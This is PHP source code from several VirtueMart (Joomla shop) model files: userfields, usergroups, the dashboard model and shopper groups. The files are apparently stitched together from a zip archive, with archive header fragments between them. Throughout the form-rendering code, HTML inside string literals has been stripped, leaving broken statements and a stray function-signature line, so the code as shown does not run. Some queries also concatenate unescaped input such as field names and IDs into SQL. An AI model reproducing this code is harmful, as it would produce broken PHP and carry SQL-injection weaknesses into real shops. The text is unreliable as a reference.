storeFieldValues($_values, $_id) { // stAn - not true, because if previously we had more values, we have to delete them /* if (count($_values) == 0) { return true; //Nothing to do } */ $fieldvalue = $this->getTable('userfield_values'); // get original values $originalvalues = $this->getUserfieldValues($_id); // for each orignal value search if it was deleted or modified for ($i = 0; $i < count($originalvalues); $i++) { if (isset($_values[$i])) { if (!($_id === true)) { // If $_id is true, it was not a new record $_values[$i]['virtuemart_userfield_id'] = $_id; } if (!$fieldvalue->bind($_values[$i])) { // Bind data vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->check()) { // Perform data checks vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->store()) { // Write data to the DB vmError($fieldvalue->getError()); return false; } } else { // the field was deleted // stAn, next line doesn't work, because it tries to delete by the virtuemart_userfield_id instead of virtuemart_userfield_value_id // $msg = $fieldvalue->delete($originalvalues->virtuemart_userfield_value_id); $db = JFactory::getDBO(); $q = 'DELETE from `#__virtuemart_userfield_values` WHERE `virtuemart_userfield_value_id` = ' . (int)$originalvalues[$i]->virtuemart_userfield_value_id.' and `virtuemart_userfield_id` = '.(int)$_id; $db->setQuery($q); if ($db->query() === false) { vmError($db->getError()); return false; } } } // for each new value that was added for ($i = count($originalvalues)-1; $i < count($_values) ; $i++) { // do a check here as we might not be using pure numeric arrays if (isset($_values[$i])) { if (!($_id === true)) { // If $_id is true, it was not a new record $_values[$i]['virtuemart_userfield_id'] = $_id; } if (!$fieldvalue->bind($_values[$i])) { // Bind data vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->check()) { // Perform data checks vmError($fieldvalue->getError()); return false; } if (!$fieldvalue->store()) { // Write data to the DB vmError($fieldvalue->getError()); return false; } } } return true; } /** * * @author Max Milbers */ public function getUserFieldsFor($layoutName, $type,$userId = -1){ //vmdebug('getUserFieldsFor '.$layoutName.' '. $type .' ' . $userId); $register = false; if(VmConfig::get('oncheckout_show_register',1) and $type=='BT'){ $user = JFactory::getUser(); if(!empty($user)){ if(empty($user->id)){ $register = true; } } else { $register = true; } } else { $register = false; } $skips = array(); //Maybe there is another method to define the skips $skips = array('address_type'); if((!$register or $type =='ST') and $layoutName !='edit'){ $skips[] = 'name'; $skips[] = 'username'; $skips[] = 'password'; $skips[] = 'password2'; $skips[] = 'user_is_vendor'; $skips[] = 'agreed'; // MattLG: Added this line because it leaves the empty fieldset with just the label when editing the ST addresses // A better solution might be to make this a setting rather than hard coding this whole block here $skips[] = 'delimiter_userinfo'; } //Here we get the fields if ($type == 'BT') { $userFields = $this->getUserFields( 'account' , array() // Default toggles , $skips// Skips ); } else { $userFields = $this->getUserFields( 'shipment' , array() // Default toggles , $skips ); } //Small ugly hack to make registering optional //do we still need that? YES ! notice by Max Milbers if($register && $type == 'BT' && VmConfig::get('oncheckout_show_register',1) ){ $corefields = $this->getCoreFields(); unset($corefields[2]); //the 2 is for the email field, it is necessary in almost anycase. foreach($userFields as $field){ if(in_array($field->name,$corefields)){ $field->required = 0; $field->value = ''; $field->default = ''; } } } return $userFields; } /** * Retrieve an array with userfield objects * * @param string $section The section the fields belong to (e.g. 'registration' or 'account') * @param array $_switches Array to toggle these options: * * published published fields only (default: true) * * required Required fields only (default: false) * * delimiters Exclude delimiters (default: false) * * captcha Exclude Captcha type (default: false) * * system System fields filter (no default; true: only system fields, false: exclude system fields) * @param array $_skip Array with fieldsnames to exclude. Default: array('username', 'password', 'password2', 'agreed'), * specify array() to skip nothing. * @see getUserFieldsFilled() * @author Oscar van Eijk * @return array */ public function getUserFields ($_sec = 'registration', $_switches=array(), $_skip = array('username', 'password', 'password2')) { // stAn, we can't really create cache per sql as we want to create named array as well $cache_hash = md5($_sec.serialize($_switches).serialize($_skip).$this->_selectedOrdering.$this->_selectedOrderingDir); if (isset(self::$_cache_ordered[$cache_hash])) return self::$_cache_ordered[$cache_hash]; $_q = 'SELECT * FROM `#__virtuemart_userfields` WHERE 1 = 1 '; if( $_sec != 'bank' && $_sec != '') { $_q .= 'AND `'.$_sec.'`=1 '; } elseif ($_sec == 'bank' ) { $_q .= "AND name LIKE '%bank%' "; } /* if (($_skipBank = array_search('bank', $_skip)) !== false ) { $_q .= "AND name NOT LIKE '%bank%' "; unset ($_skip[$_skipBank]); }*/ if(array_key_exists('published',$_switches)){ if ($_switches['published'] !== false ) { $_q .= 'AND published = 1 '; } } else { $_q .= 'AND published = 1 '; } if(array_key_exists('required',$_switches)){ if ($_switches['required'] === true ) { $_q .= "AND required = 1 "; } } if(array_key_exists('delimiters',$_switches)){ if ($_switches['delimiters'] === true ) { $_q .= "AND type != 'delimiter' "; } } if(array_key_exists('captcha',$_switches)){ if ($_switches['captcha'] === true ) { $_q .= "AND type != 'captcha' "; } } if(array_key_exists('sys',$_switches)){ if ($_switches['sys'] === true ) { $_q .= "AND sys = 1 "; } else { $_q .= "AND sys = 0 "; } } if (count($_skip) > 0) { $_q .= "AND FIND_IN_SET(name, '".implode(',', $_skip)."') = 0 "; } $_q .= ' ORDER BY ordering '; $_fields = $this->_getList($_q); // We need some extra fields that are not in the userfields table. They will be hidden on the details form if (!in_array('address_type', $_skip)) { $_address_type = new stdClass(); $_address_type->virtuemart_userfield_id = 0; $_address_type->name = 'address_type'; $_address_type->title = ''; $_address_type->description = '' ; $_address_type->type = 'hidden'; $_address_type->maxlength = 0; $_address_type->size = 0; $_address_type->required = 0; $_address_type->ordering = 0; $_address_type->cols = 0; $_address_type->rows = 0; $_address_type->value = ''; $_address_type->default = 'BT'; $_address_type->published = 1; $_address_type->registration = 1; $_address_type->shipment = 0; $_address_type->account = 1; $_address_type->readonly = 0; $_address_type->calculated = 0; // what is this??? $_address_type->sys = 0; $_address_type->virtuemart_vendor_id = 1; $_address_type->params = ''; $_fields[] = $_address_type; } // stAn: slow to run the first time: self::$_cache_ordered[$cache_hash] = $_fields; if (!isset(self::$_cache_named[$_sec])) self::$_cache_named[$_sec] = array(); foreach ($_fields as &$f) { self::$_cache_named[$_sec][$f->name] = $f; } return $_fields; } /** * Return a boolean whethe the userfield is enabled in context of $_sec * * @access public * @param $_field_name: name of the user field such as 'email' * @param $_sec BT or ST, or one of the types of the fields: account, shipment, registration * @author stAn * @return true or false * * Note: this function will return a false result for skipped fields such as agreed, user_is_vendor * * when used from shipment method, you can use * $userFieldsModel =VmModel::getModel('Userfields'); * $type = (($cart->ST == 0) ? 'BT' : 'ST'); * if ($userFieldsModel->fieldPublished('zip', $type)) .... */ public function fieldPublished($_field_name, $_sec='account') { if ($_sec == 'BT') $_sec = 'account'; else if ($_sec == 'ST') $_sec = 'shipment'; if (isset(self::$_cache_named[$_sec])) return isset(self::$_cache_named[$_sec][$_field_name]); $this->getUserFields($_sec, array(), array()); if (isset(self::$_cache_named[$_sec])) return isset(self::$_cache_named[$_sec][$_field_name]); return false; } /** * Return an array with userFields in several formats. * * @access public * @param $_selection An array, as returned by getuserFields(), with fields that should be returned. * @param $_userData Array with userdata holding the values for the fields * @param $_prefix string Optional prefix for the formtag name attribute * @author Oscar van Eijk * @return array List with all userfield data in the format: * array( * 'fields' => array( // All fields * => array( * 'name' => // Name of the field * 'value' => // Existing value for the current user, or the default * 'title' => // Title used for label and such * 'type' => // Field type as specified in the userfields table * 'hidden' => // True/False * 'required' => // True/False. If True, the formcode also has the class "required" for the Joomla formvalidator * 'formcode' => // Full HTML tag * ) * [...] * ) * 'functions' => array() // Optional javascript functions without ; * 'scripts' => array( // Array with scriptsources for use with JHTML::script(); * => * [...] * ) * 'links' => array( // Array with stylesheets for use with JHTML::stylesheet(); * => * [...] * ) * ) * @example This example illustrates the use of this function. For additional examples, see the Order view * and the User view in the administrator section. *
    	 *   // In the controller, make sure this model is loaded.
    	 *   // In view.html.php, make the following calls:
    	 *   $_usrDetails = getUserDetailsFromSomeModel(); // retrieve an user_info record, eg from the usermodel or ordermodel
    	 *   $_usrFieldList = $userFieldsModel->getUserFields(
    	 *                    'registration'
    	 *                  , array() // Default switches
    	 *                  , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips
    	 *    );
    	 *   $usrFieldValues = $userFieldsModel->getUserFieldsFilled(
    	 *                      $_usrFieldList
    	 *                     ,$_usrDetails
    	 *   );
    	 *   $this->assignRef('userfields', $userfields);
    	 *   // In the template, use code below to display the data. For an extended example using
    	 *   // delimiters, JavaScripts and StyleSheets, see the edit_shopper.php in the user view
    	 *   
    	 *     
    	 *       
    	 *         
    	 *       
    	 *     
    	 *      shipmentfields['fields'] as $_field ) {
    	 *          echo '  '."\n";
    	 *          echo '    '."\n";
    	 *          echo '    '."\n";
    	 *          echo '  '."\n";
    	 *        }
    	 *      ?>
    	 *    
    * *
    '."\n"; * echo ' '.$_field['title']."\n"; * echo ' '."\n"; * * echo ' '.$_field['value']."\n"; // Display only * Or: * echo ' '.$_field['formcode']."\n"; // Input form * * echo '
    *
    */ public function getUserFieldsFilled($_selection, $_userData = null, $_prefix = ''){ if(!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $_return = array( 'fields' => array() ,'functions' => array() ,'scripts' => array() ,'links' => array() ); $admin = false; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin','storeadmin')){ $admin = true; } // vmdebug('my user data in getUserFieldsFilled',$_selection,$_userData); $_userData=(array)($_userData); if (is_array($_selection)) { foreach ($_selection as $_fld) { $_return['fields'][$_fld->name] = array( 'name' => $_prefix . $_fld->name ,'value' => (($_userData == null || !array_key_exists($_fld->name, $_userData)) ? $_fld->default : @html_entity_decode($_userData[$_fld->name],ENT_COMPAT,'UTF-8')) ,'title' => vmText::_($_fld->title) ,'type' => $_fld->type ,'required' => $_fld->required ,'hidden' => false ,'formcode' => '' ,'description' => vmText::_($_fld->description) ); $readonly = ''; if(!$admin){ if($_fld->readonly ){ $readonly = ' readonly="readonly" '; } } // vmdebug ('getUserFieldsFilled',$_fld->name); // if($_fld->name==='email') vmdebug('user data email getuserfieldbyuser',$_userData); // First, see if there are predefined fields by checking the name switch( $_fld->name ) { // case 'email': // $_return['fields'][$_fld->name]['formcode'] = $_userData->email; // break; case 'virtuemart_country_id': $attrib = array(); //For nice lists in the FE if ($_fld->size) { $attrib = array('style'=>"width: ".$_fld->size."px"); } $_return['fields'][$_fld->name]['formcode'] = ShopFunctions::renderCountryList($_return['fields'][$_fld->name]['value'], false, $attrib , $_prefix, $_fld->required); if(!empty($_return['fields'][$_fld->name]['value'])){ // Translate the value from ID to name $_return['fields'][$_fld->name]['virtuemart_country_id'] = (int)$_return['fields'][$_fld->name]['value']; $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_countries` WHERE virtuemart_country_id = "' . (int)$_return['fields'][$_fld->name]['value'] . '"'; $db->setQuery ($q); $r = $db->loadAssoc(); if($r){ $_return['fields'][$_fld->name]['value'] = !empty($r['country_name'])? $r['country_name']:'' ; $_return['fields'][$_fld->name]['country_2_code'] = !empty($r['country_2_code'])? $r['country_2_code']:'' ; $_return['fields'][$_fld->name]['country_3_code'] = !empty($r['country_3_code'])? $r['country_3_code']:'' ; } else { vmError('Model Userfields, country with id '.$_return['fields'][$_fld->name]['value'].' not found'); } } else { $_return['fields'][$_fld->name]['value'] = '' ; $_return['fields'][$_fld->name]['country_2_code'] = '' ; $_return['fields'][$_fld->name]['country_3_code'] = '' ; } //$_return['fields'][$_fld->name]['value'] = JText::_(shopFunctions::getCountryByID($_return['fields'][$_fld->name]['value'])); //$_return['fields'][$_fld->name]['state_2_code'] = JText::_(shopFunctions::getCountryByID($_return['fields'][$_fld->name]['value'])); break; case 'virtuemart_state_id': if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); $attrib = array(); if ($_fld->size) { $attrib = array('style'=>"width: ".$_fld->size."px"); } $_return['fields'][$_fld->name]['formcode'] = shopFunctions::renderStateList( $_return['fields'][$_fld->name]['value'], $_prefix, false, $_fld->required, $attrib ); if(!empty($_return['fields'][$_fld->name]['value'])){ // Translate the value from ID to name $_return['fields'][$_fld->name]['virtuemart_state_id'] = (int)$_return['fields'][$_fld->name]['value']; $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_states` WHERE virtuemart_state_id = "' . (int)$_return['fields'][$_fld->name]['value'] . '"'; $db->setQuery ($q); $r = $db->loadAssoc(); if($r){ $_return['fields'][$_fld->name]['value'] = !empty($r['state_name'])? $r['state_name']:'' ; $_return['fields'][$_fld->name]['state_2_code'] = !empty($r['state_2_code'])? $r['state_2_code']:'' ; $_return['fields'][$_fld->name]['state_3_code'] = !empty($r['state_3_code'])? $r['state_3_code']:'' ; } else { vmError('Model Userfields, state with id '.$_return['fields'][$_fld->name]['value'].' not found'); } } else { $_return['fields'][$_fld->name]['value'] = '' ; $_return['fields'][$_fld->name]['state_2_code'] = '' ; $_return['fields'][$_fld->name]['state_3_code'] = '' ; } //$_return['fields'][$_fld->name]['value'] = shopFunctions::getStateByID($_return['fields'][$_fld->name]['value']); break; //case 'agreed': // $_return['fields'][$_fld->name]['formcode'] = 'required ? ' class="required"' : '') . ' />'; // break; case 'password': case 'password2': $_return['fields'][$_fld->name]['formcode'] = ''."\n"; break; case 'agreed': $_return['fields'][$_fld->name]['formcode'] = 'name]['value'] ? 'checked="checked"' : '') .'/>'; break; // It's not a predefined field, so handle it by it's fieldtype default: if(strpos($_fld->type,'plugin')!==false){ JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmOnUserfieldDisplay',array($_prefix, $_fld,isset($_userData['virtuemart_user_id'])?$_userData['virtuemart_user_id']:0, &$_return) ); break; } switch( $_fld->type ) { case 'hidden': $_return['fields'][$_fld->name]['formcode'] = 'required ? ' class="required"' : '') . ($_fld->maxlength ? ' maxlength="' . $_fld->maxlength . '"' : '') . $readonly . ' /> '; $_return['fields'][$_fld->name]['hidden'] = true; break; case 'date': case 'age_verification': //echo JHTML::_('behavior.calendar'); /* * TODO We must add the joomla.javascript here that contains the calendar, * since Joomla does not load it when there's no user logged in. * Gotta find out why... some security issue or a bug??? * Note by Oscar */ // if ($_userData === null) { // Not logged in // $_doc = JFactory::getDocument(); // $_doc->addScript( JURI::root(true).'/includes/js/joomla.javascript.js'); // } $currentYear= date('Y'); // $calendar = vmJsApi::jDate($_return['fields'][$_fld->name]['value'], $_prefix.$_fld->name, $_prefix.$_fld->name . '_field',false,($currentYear-100).':'.$currentYear); // $_return['fields'][$_fld->name]['formcode'] = $calendar ; //if(empty($_return['fields'][$_fld->name]['value'])){ // $_return['fields'][$_fld->name]['value'] = "1912-01-01 00:00:00"; //} jDate($date='',$name="date",$id=null,$resetBt = true, $yearRange='') { // Year range MUST start 100 years ago, for birthday $_return['fields'][$_fld->name]['formcode'] = vmJsApi::jDate($_return['fields'][$_fld->name]['value'], $_prefix.$_fld->name,$_prefix.$_fld->name . '_field',false,($currentYear-100).':'.$currentYear); break; case 'emailaddress': if( JFactory::getApplication()->isSite()) { if(empty($_return['fields'][$_fld->name]['value'])) { $_return['fields'][$_fld->name]['value'] = JFactory::getUser()->email; } } // vmdebug('emailaddress',$_fld); case 'text': case 'webaddress': $_return['fields'][$_fld->name]['formcode'] = 'required ? ' class="required"' : '') . ($_fld->maxlength ? ' maxlength="' . $_fld->maxlength . '"' : '') . $readonly . ' /> '; break; case 'textarea': $_return['fields'][$_fld->name]['formcode'] = ''; break; case 'editorta': jimport( 'joomla.html.editor' ); $editor = JFactory::getEditor(); $_return['fields'][$_fld->name]['formcode'] = $editor->display($_prefix.$_fld->name, $_return['fields'][$_fld->name]['value'], '150', '100', $_fld->cols, $_fld->rows, array('pagebreak', 'readmore')); break; case 'checkbox': $_return['fields'][$_fld->name]['formcode'] = 'name]['value'] ? 'checked="checked"' : '') .'/>'; if($_return['fields'][$_fld->name]['value']) { $_return['fields'][$_fld->name]['value'] = JText::_($_prefix.$_fld->title); } break; // /*##mygruz20120223193710 { :*/ // case 'userfieldplugin': //why not just vmuserfieldsplugin ? // JPluginHelper::importPlugin('vmuserfield'); // $dispatcher = JDispatcher::getInstance(); // //Todo to adjust to new pattern, using & // $html = '' ; // $dispatcher->trigger('plgVmOnUserFieldDisplay',array($_return['fields'][$_fld->name], &$html) ); // $_return['fields'][$_fld->name]['formcode'] = $html; // break; // /*##mygruz20120223193710 } */ case 'multicheckbox': case 'multiselect': case 'select': case 'radio': $_qry = 'SELECT fieldtitle, fieldvalue ' . 'FROM #__virtuemart_userfield_values ' . 'WHERE virtuemart_userfield_id = ' . $_fld->virtuemart_userfield_id . ' ORDER BY ordering '; $_values = $this->_getList($_qry); // We need an extra lok here, especially for the Bank info; the values // must be translated. // Don't check on the field name though, since others might be added in the future :-( foreach ($_values as $_v) { $_v->fieldtitle = vmText::_($_v->fieldtitle); } $_attribs = array(); if ($_fld->readonly and !$admin) { $_attribs['readonly'] = 'readonly'; } if ($_fld->required) { $_attribs['class'] = 'required'; } if ($_fld->type == 'radio' or $_fld->type == 'select') { $_selected = $_return['fields'][$_fld->name]['value']; } else { $_attribs['size'] = $_fld->size; // Use for all but radioselects if (!is_array($_return['fields'][$_fld->name]['value'])){ $_selected = explode("|*|", $_return['fields'][$_fld->name]['value']); } else { $_selected = $_return['fields'][$_fld->name]['value']; } } // Nested switch... switch($_fld->type) { case 'multicheckbox': // todo: use those $_attribs['rows'] = $_fld->rows; $_attribs['cols'] = $_fld->cols; $formcode = ''; $field_values=""; $_idx = 0; $separator_form = '
    '; $separator_title = ','; foreach ($_values as $_val) { if ( in_array($_val->fieldvalue, $_selected)) { $is_selected='checked="checked"'; $field_values.= JText::_($_val->fieldtitle). $separator_title; } else { $is_selected=''; } $formcode .= ' '. $separator_form; $_idx++; } // remove last br $_return['fields'][$_fld->name]['formcode'] =substr($formcode ,0,-strlen($separator_form)); $_return['fields'][$_fld->name]['value'] = substr($field_values,0,-strlen($separator_title)); break; case 'multiselect': $_attribs['multiple'] = 'multiple'; $_attribs['class'] = 'vm-chzn-select'; $field_values=""; $_return['fields'][$_fld->name]['formcode'] = JHTML::_('select.genericlist', $_values, $_prefix.$_fld->name.'[]', $_attribs, 'fieldvalue', 'fieldtitle', $_selected); $separator_form = '
    '; $separator_title = ','; foreach ($_values as $_val) { if ( in_array($_val->fieldvalue, $_selected)) { $field_values.= JText::_($_val->fieldtitle). $separator_title; } } $_return['fields'][$_fld->name]['value'] = substr($field_values,0,-strlen($separator_title)); break; case 'select': $_attribs['class'] = 'vm-chzn-select'; if ($_fld->size) { $_attribs['style']= "width: ".$_fld->size."px"; } if(!$_fld->required){ $obj = new stdClass(); $obj->fieldtitle = vmText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION'); $obj->fieldvalue = ''; array_unshift($_values,$obj); } $_return['fields'][$_fld->name]['formcode'] = JHTML::_('select.genericlist', $_values, $_prefix.$_fld->name, $_attribs, 'fieldvalue', 'fieldtitle', $_selected); foreach ($_values as $_val) { if ( !empty($_selected) and $_val->fieldvalue==$_selected ) { // vmdebug('getUserFieldsFilled set empty select to value',$_selected,$_fld,$_return['fields'][$_fld->name]); $_return['fields'][$_fld->name]['value'] = vmText::_($_val->fieldtitle); } } break; case 'radio': $_return['fields'][$_fld->name]['formcode'] = JHTML::_('select.radiolist', $_values, $_prefix.$_fld->name, $_attribs, 'fieldvalue', 'fieldtitle', $_selected); foreach ($_values as $_val) { if ( $_val->fieldvalue==$_selected) { $_return['fields'][$_fld->name]['value'] = vmText::_($_val->fieldtitle); } } break; } break; } break; } } } else { vmdebug('getUserFieldsFilled $_selection is not an array ',$_selection); // $_return['fields'][$_fld->name]['formcode'] = ''; } return $_return; } /** * Checks if a single field is required, used in the cart * * @author Max Milbers * @param string $fieldname */ function getIfRequired($fieldname) { $q = 'SELECT `required` FROM #__virtuemart_userfields WHERE `name` = "'.$fieldname.'" '; $this->_db->setQuery($q); $result = $this->_db->loadResult(); $error = $this->_db->getErrorMsg(); if(!empty($error)){ vmError('userfields getIfRequired '.$error,'Programmer used an unknown userfield '.$fieldname); } return $result; } /** * Translate arrays form userfield_values to the format expected by the table class. * * stAn Note -> when a field of [0] is deleted (or others), you cannot use count to itenerate the array * * @param array $titles List of titles from the formdata * @param array $values List of values from the formdata * @param int $virtuemart_userfield_id ID of the userfield to relate * @return array Data to bind to the userfield_values table */ private function postData2FieldValues($titles, $values, $virtuemart_userfield_id ){ $_values = array(); if (is_array($titles) && is_array($values)) { // updated by stAn: foreach ($values as $i=>$val) { $_values[$i] = array( 'virtuemart_userfield_id' => $virtuemart_userfield_id ,'fieldtitle' => $titles[$i] ,'fieldvalue' => $values[$i] ,'ordering' => $i ); } /* for ($i=0; $i < count($titles) ;$i++) { if (empty($titles[$i])) { continue; // Ignore empty fields } } */ } return $_values; } /** * Get the column name of a given fieldID * @param $_id integer Field ID * @return string Fieldname */ function getNameByID($_id) { $_sql = 'SELECT `name` FROM `#__virtuemart_userfields` WHERE virtuemart_userfield_id = "'.$_id.'" '; $_v = $this->_getList($_sql); return ($_v[0]->name); } /** * Delete all record ids selected * * @return boolean True is the remove was successful, false otherwise. */ function remove($fieldIds){ $field = $this->getTable('userfields'); $value = $this->getTable('userfield_values'); $userinfo = $this->getTable('userinfos'); $orderinfo = $this->getTable('order_userinfos'); $ok = true; foreach($fieldIds as $fieldId) { $_fieldName = $this->getNameByID($fieldId); $field->load($fieldId); if ($field->type != 'delimiter') { // Get the fieldtype for the database $_fieldType = $field->formatFieldType(); // Alter the user_info table if ($userinfo->_modifyColumn ('DROP', $_fieldName,$_fieldType) === false) { vmError($userinfo->getError()); $ok = false; } // Alter the order_userinfo table if ($orderinfo->_modifyColumn ('DROP', $_fieldName,$_fieldType) === false) { vmError($orderinfo->getError()); $ok = false; } } if (!$field->delete($fieldId)) { vmError($field->getError()); $ok = false; } if (!$value->delete($fieldId)) { vmError($field->getError()); $ok = false; } } return $ok; } /** * Get the userfields for the BE list * * @author Max Milbers * @return NULL */ function getUserfieldsList(){ if (!$this->_data) { $whereString = $this->_getFilter(); $ordering = $this->_getOrdering(); $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_userfields`',$whereString,'',$ordering); } return $this->_data; } /** * If a filter was set, get the SQL WHERE clase * * @return string text to add to the SQL statement */ function _getFilter() { $db = JFactory::getDBO(); if ($search = JRequest::getWord('search', false)) { $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); return (' WHERE `name` LIKE ' .$search); } return (''); } /** * Build the query to list all Userfields * *@deprecated * @return string SQL query statement */ function _getListQuery () { $query = 'SELECT * FROM `#__virtuemart_userfields` '; $query .= $this->_getFilter(); $query .= $this->_getOrdering(); return ($query); } //*/ } // No closing tag PKB\  models/usergroups.phpnuW+AsetMainTable('usergroups'); } function getUsergroup() { $db = JFactory::getDBO(); if (empty($this->_data)) { $this->_data = $this->getTable('usergroups'); $this->_data->load((int)$this->_id); } return $this->_data; } function getUsergroups($onlyPublished=false, $noLimit=false) { $where = array(); if ($onlyPublished) { $where[] = ' `#__virtuemart_shoppergroups`.`published` = 1'; } $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; return $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_permgroups`',$whereString,'',$this->_getOrdering()); } } PKB\@<<models/virtuemart.phpnuW+A_getListCount($query); } /** * Gets the total number of active products * * @author RickG * @return int Total number of active products in the database */ function getTotalActiveProducts() { $query = 'SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `published`="1"'; return $this->_getListCount($query); } /** * Gets the total number of inactive products * * @author RickG * @return int Total number of inactive products in the database */ function getTotalInActiveProducts() { $query = 'SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `published`="0"'; return $this->_getListCount($query); } /** * Gets the total number of featured products * * @author RickG * @return int Total number of featured products in the database */ function getTotalFeaturedProducts() { $query = 'SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `product_special`="1"'; return $this->_getListCount($query); } /** * Gets the total number of orders with the given status * * @author RickG * @return int Total number of orders with the given status */ function getTotalOrdersByStatus() { $query = 'SELECT `#__virtuemart_orderstates`.`order_status_name`, `#__virtuemart_orderstates`.`order_status_code`, '; $query .= '(SELECT count(virtuemart_order_id) FROM `#__virtuemart_orders` WHERE `#__virtuemart_orders`.`order_status` = `#__virtuemart_orderstates`.`order_status_code`) as order_count '; $query .= 'FROM `#__virtuemart_orderstates`'; return $this->_getList($query); } /** * Gets a list of recent orders * * @author RickG * @return ObjectList List of recent orders. */ function getRecentOrders($nbrOrders=5) { $query = 'SELECT * FROM `#__virtuemart_orders` ORDER BY `created_on` desc'; return $this->_getList($query, 0, $nbrOrders); } /** * Gets a list of recent customers * * @author RickG * @return ObjectList List of recent orders. */ function getRecentCustomers($nbrCusts=5) { $query = 'SELECT `id` as `virtuemart_user_id`, `first_name`, `last_name`, `order_number` FROM `#__users` as `u` '; $query .= 'JOIN `#__virtuemart_vmusers` as uv ON u.id = uv.virtuemart_user_id '; $query .= 'JOIN `#__virtuemart_userinfos` as ui ON u.id = ui.virtuemart_user_id '; $query .= 'JOIN `#__virtuemart_orders` as uo ON u.id = uo.virtuemart_user_id '; $query .= 'WHERE `perms` <> "admin" '; $query .= 'AND `perms` <> "storeadmin" '; $query .= 'AND INSTR(`usertype`, "administrator") = 0 AND INSTR(`usertype`, "Administrator") = 0 '; $query .= ' ORDER BY uo.`created_on` DESC'; return $this->_getList($query, 0, $nbrCusts); } } //pure php no tagPKB\$$models/shoppergroup.phpnuW+AsetMainTable('shoppergroups'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Markus Öhler */ function getShopperGroup() { if (empty($this->_data)) { $this->_data = $this->getTable('shoppergroups'); $this->_data->load((int) $this->_id); if(!empty($this->_data->price_display)){ $this->_data->price_display = unserialize($this->_data->price_display); } else{ if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); $this->_data->price_display = new JParameter(''); } } return $this->_data; } /** * Retireve a list of shopper groups from the database. * * @author Markus Öhler * @param boolean $onlyPublished * @param boolean $noLimit True if no record count limit is used, false otherwise * @return object List of shopper group objects */ function getShopperGroups($onlyPublished=false, $noLimit = false) { $db = JFactory::getDBO(); $query = 'SELECT * FROM `#__virtuemart_shoppergroups` ORDER BY `virtuemart_vendor_id`,`shopper_group_name` '; if ($noLimit) { $this->_data = $this->_getList($query); } else { $this->_data = $this->_getList($query, $this->getState('limitstart'), $this->getState('limit')); } return $this->_data; } function store(&$data){ $myfields = array('basePrice','variantModification','basePriceVariant', 'basePriceWithTax','basePriceWithTax','discountedPriceWithoutTax', 'salesPrice','priceWithoutTax', 'salesPriceWithDiscount','discountAmount','taxAmount','unitPrice'); $param ='show_prices='.$data['show_prices']."\n"; foreach($myfields as $fields){ $param .= $fields.'='.$data[$fields]."\n"; //attention there must be doublequotes $param .= $fields.'Text='.$data[$fields.'Text']."\n"; $param .= $fields.'Rounding='.$data[$fields.'Rounding']."\n"; } if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); $jparam = new JParameter($param); $data['price_display'] = serialize(new JParameter($param)); return parent::store($data); } function makeDefault($id,$kind = 1) { //Prevent making anonymous Shoppergroup as default $adId = $this->getDefault(1); $anonymous_sg_id = $adId->virtuemart_shoppergroup_id; if($adId == $id){ $group = $this->getShoppergroupById($id); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_CANT_MAKE_DEFAULT',$group->shopper_group_name,$id)); return false; } $this->_db->setQuery('UPDATE `#__virtuemart_shoppergroups` SET `default` = 0 WHERE `default`<"2"'); if (!$this->_db->query()) return ; $this->_db->setQuery('UPDATE `#__virtuemart_shoppergroups` SET `default` = "'.$kind.'" WHERE virtuemart_shoppergroup_id='.(int)$id); if (!$this->_db->query()) return ; return true; } /** * * Get default shoppergroup for anonymous and non anonymous * @param unknown_type $kind */ function getDefault($kind = 1, $onlyPublished = FALSE, $vendorId = 1){ $kind = $kind + 1; $q = 'SELECT * FROM `#__virtuemart_shoppergroups` WHERE `default` = "'.$kind.'" AND (`virtuemart_vendor_id` = "'.$vendorId.'" OR `shared` = "1") '; if($onlyPublished){ $q .= ' AND `published`="1" '; } $this->_db->setQuery($q); if(!$res = $this->_db->loadObject()){ $app = JFactory::getApplication(); $app->enqueueMessage('Attention no standard shopper group set '.$this->_db->getErrorMsg()); } else { //vmdebug('getDefault', $res); return $res; } } function appendShopperGroups(&$shopperGroups,$user,$onlyPublished = FALSE,$vendorId=1,$keepDefault = false){ $this->mergeSessionSgrps($shopperGroups); if(count($shopperGroups)<1 or $keepDefault){ $_defaultShopperGroup = $this->getDefault($user->guest,$onlyPublished,$vendorId); if(!in_array($_defaultShopperGroup->virtuemart_shoppergroup_id,$shopperGroups)){ $shopperGroups[] = $_defaultShopperGroup->virtuemart_shoppergroup_id; } } $this->removeSessionSgrps($shopperGroups); } function mergeSessionSgrps(&$ids){ $session = JFactory::getSession(); $shoppergroup_ids = $session->get('vm_shoppergroups_add',array(),'vm'); $ids = array_merge($ids,(array)$shoppergroup_ids); $ids = array_unique($ids); //$session->set('vm_shoppergroups_add',array(),'vm'); //vmdebug('mergeSessionSgrps',$shoppergroup_ids,$ids); } function removeSessionSgrps(&$ids){ $session = JFactory::getSession(); $shoppergroup_ids_remove = $session->get('vm_shoppergroups_remove',0,'vm'); if($shoppergroup_ids_remove!==0){ if(!is_array($shoppergroup_ids_remove)){ $shoppergroup_ids_remove = (array) 